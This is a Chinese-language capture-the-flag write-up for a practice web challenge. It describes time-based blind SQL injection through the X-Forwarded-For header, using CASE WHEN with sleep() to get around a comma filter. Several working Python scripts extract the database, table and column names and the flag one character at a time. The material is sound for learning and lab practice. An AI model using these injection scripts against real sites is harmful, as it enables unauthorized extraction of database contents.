实验吧_who are you?(盲注)

who are you?

翻翻源码，抓抓包，乱试一通都没有什么结果

题目中提示有ip，立马应该联想到X-Forwarded-For

虽然知道是这个方面的题，但完全不知道从何入手，悄咪咪去翻一下wp

才知道原来X-Forwarded-For后面的的参数是先入数据库再取出来，并不是直接显示的

所以这里的X-Forwarded-For应该是存在注入的（果然是大佬，学到了）

而且经过测试，','以及后面的内容都会被过滤，这就导致我们的传统注入语句失效了

查了一下，这里需要用到select case when then语句

提交X-Forwarded-For:1'  and case when (length((SELECT concat(database())))<10) then sleep(3) else sleep(0) end and '1'='1;果然发生了延迟

接下来的原理就跟基于时间的盲注一样，只要不断替换when后面的判断语句，这要是手工的话还真是个体力活- -

我也正好趁着这种机会好好练习一下python

先是手工判断了一下数据库名的长度为4，接着上代码开始跑

 import requests

 guess='abcdefghijklmnopqrstuvwxyz0123456789@_.{}-'
 url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
 database = ''
 for i in range(1,5):
     for each in guess:
         headers = {"X-Forwarded-For":"1' and case when (substring((select database()) from %s for 1)='%s') then sleep(5) else sleep(0) end and '1'='1" %(i,each)}
         try:
             r = requests.get(url, headers = headers, timeout=5)
             print(r.text)
         except:
             database = database + each

             break

 print('database_name='+database)   

又手工看了一下当前数据库中表的数量

只有两张，这就很舒服

接着跑一下看看所有表名的字长

 url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
 i=1
 table_length=0
 tables=""

 while True:
     headers={
             "X-Forwarded-For":"1' and case when(substring((select group_concat(table_name separator ';') from information_schema.tables where table_schema='web4') from %s for 1)='') then sleep(6) else 0 end and 'a'='a" % (i)
             }
     try:
         r = requests.get(url, headers=headers, timeout=6)
         print(" "+r.text)
         i+=1
     except:
        table_length = i-1
        break
 print(table_length)

最后得出是14，接着开始跑表名

我反复测试了好久，这应该是网络的问题，代码没有错，只是每次跑的结果都有几个字母不一样让我很难受

 url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
 tables = ''
 for i in range(1,15):
     for each in range(30,127):
         headers={
                 "X-Forwarded-For":"1' and case when(ascii(substring((select group_concat(table_name separator ';') from information_schema.tables where table_schema='web4') from %s for 1))=%s) then sleep(6) else 0 end and 'a'='a" % (i,each)
                 }
         try:
             r = requests.get(url, headers=headers, timeout=6)
             print(" "+r.text)
         except:
             tables += chr(each)
             print("")
             print(chr(each))
             print("")
             break

 print("tables: %s" % tables)

想我也是看过wp的人，怎么会拘泥于这种小结呢，通过wp我知道了两张表分别是cilent_ip和flag（而我每次都是奇怪的字符，比如cl:"t_ip;fHag，六秒的延迟竟然还会错这么多，我只能说中国移动天下第一- -！）

接着就是跑flag表的列了，老规矩先瞅瞅他列名的长度

 url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
 for i in range(1,10):
     headers ={
               "X-Forwarded-For":"1' and case when (substring((select group_concat(column_name separator ';') from information_schema.columns where table_schema='web4' and table_name='flag') from %s for 1)='') then sleep(6) else 0 end and 'a'='a" %i
               }
     try:
         r = requests.get(url, headers=headers, timeout=6)
         print(" "+r.text)
     except:
         print('the number of tables is ' + str(i-1))
         break

才4个字符，赶紧跑起来，我不信这次还能跑偏

 url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
 columns = ''
 for i in range(1,5):
     for each in range(30,127):
         header={
                 "X-Forwarded-For":"1' and case when(ascii(substring((select group_concat(column_name separator ';') from information_schema.columns where table_name='flag') from %s for 1))=%s) then sleep(6) else 0 end and 'a'='a" % (i,each)
                 }
         try:
             r = requests.get(url, headers=header, timeout=6)
             print(" "+r.text)
         except:
             columns += chr(each)
             print("")
             print(chr(each))
             print("")
             break

 print("column: %s" % columns)

移动爸爸给我脸了！他没错！

倒数第二步，看字段数！

 url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
 data_length = 0
 i = 1
 while True:
     header={
             "X-Forwarded-For":"1' and case when(length(substring((select group_concat(flag separator ';') from flag) from %s for 1))='') then sleep(6) else 0 end and 'a'='a" %i
             }
     try:
         r = requests.get(url, headers=header, timeout=6)
         print(" "+r.text)
         i += 1
     except:

         print("")
         print('the number of data is '+ str(i-1))
         print("")
         break

32个！一口老血........

最后一步了，要dump数据了！不多说，拿去跑！

 url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
 data = ''
 i = 1
 while i <= 32:
     for each in range(30,127):
         header={
                 "X-Forwarded-For":"1' and case when(ascii(substring((select group_concat(flag separator ';') from flag ) from %s for 1))=%s) then sleep(10) else 0 end and 'a'='a" % (i,each)
                 }
         try:
             r = requests.get(url, headers=header, timeout=10)
             print(" "+r.text)

         except:
             data += chr(each)
             print('')
             print(chr(each))
             print('')
             break
     i += 1
 print('flag: ' + data)

以上代码经过测试均有效，跑不出来你就退群吧╮(๑•́ ₃•̀๑)╭

这篇博客大概写了有大半天了，在不断的测试修改代码的过程中也收获了很多

反正就是舒服